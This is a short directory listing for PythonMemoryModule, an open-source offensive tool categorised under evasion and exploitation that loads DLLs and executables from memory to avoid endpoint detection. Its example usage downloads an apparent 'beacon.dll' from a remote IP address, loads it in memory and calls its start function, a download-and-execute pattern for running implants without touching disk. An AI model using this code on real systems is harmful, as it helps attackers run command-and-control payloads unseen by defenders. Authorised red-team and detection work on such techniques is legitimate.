← All tools

PythonMemoryModule

https://github.com/naksyn/PythonMemoryModule

Open Source

Categories

Evasion Exploitation

Description

pure-python implementation of MemoryModule technique to load dll and unmanaged exe entirely from memory

Keywords

edr-evasion evasion hacking memory-module memorymodule python redteam redteam-tools redteaming runpe

Screenshots

Example Usage

import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()